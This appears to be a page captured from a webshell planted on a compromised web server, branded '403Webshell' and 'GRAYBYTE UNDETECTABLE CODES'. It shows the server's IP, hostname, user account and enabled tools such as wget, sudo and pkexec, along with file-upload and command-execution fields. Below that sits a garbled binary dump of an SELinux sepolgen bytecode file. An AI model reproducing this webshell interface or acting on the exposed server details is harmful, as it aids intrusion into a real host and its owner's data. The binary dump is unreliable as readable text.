- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.133.149.244
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.6/site-packages/sepolgen/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.6/site-packages/sepolgen/__pycache__/defaults.cpython-36.pyc
3

Kl�fU�@sTddlZddlZGdd�de�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dS)�Nc@seZdZdd�Zddd�ZdS)�PathChooserc
Cs�t�|_tjj|�s(d|_d|jd<dS||_tjd�}tjd�}t|d��`}xXt	|�D]L\}}|j
|�rlqX|j
|�}|s�td||df��|jd	�|j|jd�<qXWWdQRXdS)
Nz
(defaults)zJ/usr/share/selinux/default:/usr/share/selinux/mls:/usr/share/selinux/devel�SELINUX_DEVEL_PATHz
^\s*(?:#.+)?$z^\s*(\w+)\s*=\s*(.+?)\s*$�rz(%s:%d: line is not in key = value format��)
�dict�config�os�path�exists�config_pathname�re�compile�open�	enumerate�match�
ValueError�group)�self�pathname�ignoreZconsider�fd�lineno�line�mo�r�/usr/lib/python3.6/defaults.py�__init__s 




zPathChooser.__init__rcCsp|jj|d�}|dkr(td||jf��|jd�}x*|D]"}tjj||�}tjj|�r8|Sq8Wtjj|d|�S)Nz%s was not in %s�:r)	r�getrr�splitr	r
�joinr)rZtestfilenameZpathset�paths�p�targetrrr�__call__,s

zPathChooser.__call__N)r)�__name__�
__module__�__qualname__rr%rrrrrsrcCsdS)Nz/var/lib/sepolgenrrrrr�data_dir;sr)cCs
t�dS)Nz	/perm_map)r)rrrr�perm_map>sr*cCs
t�dS)Nz/interface_info)r)rrrr�interface_infoAsr+cCs
t�dS)Nz/attribute_info)r)rrrr�attribute_infoDsr,cCs(td�}|d�}tjj|�s$|d�}|S)Nz/etc/selinux/sepolgen.conf�Makefilezinclude/Makefile)rr	r
r)�chooser�resultrrr�refpolicy_makefileGs
r0cCstd�}|d�S)Nz/etc/selinux/sepolgen.conf�include)r)r.rrr�headersNsr2)
r	r
�objectrr)r*r+r,r0r2rrrr�<module>s"

Youez - 2016 - github.com/yon3zu
LinuXploit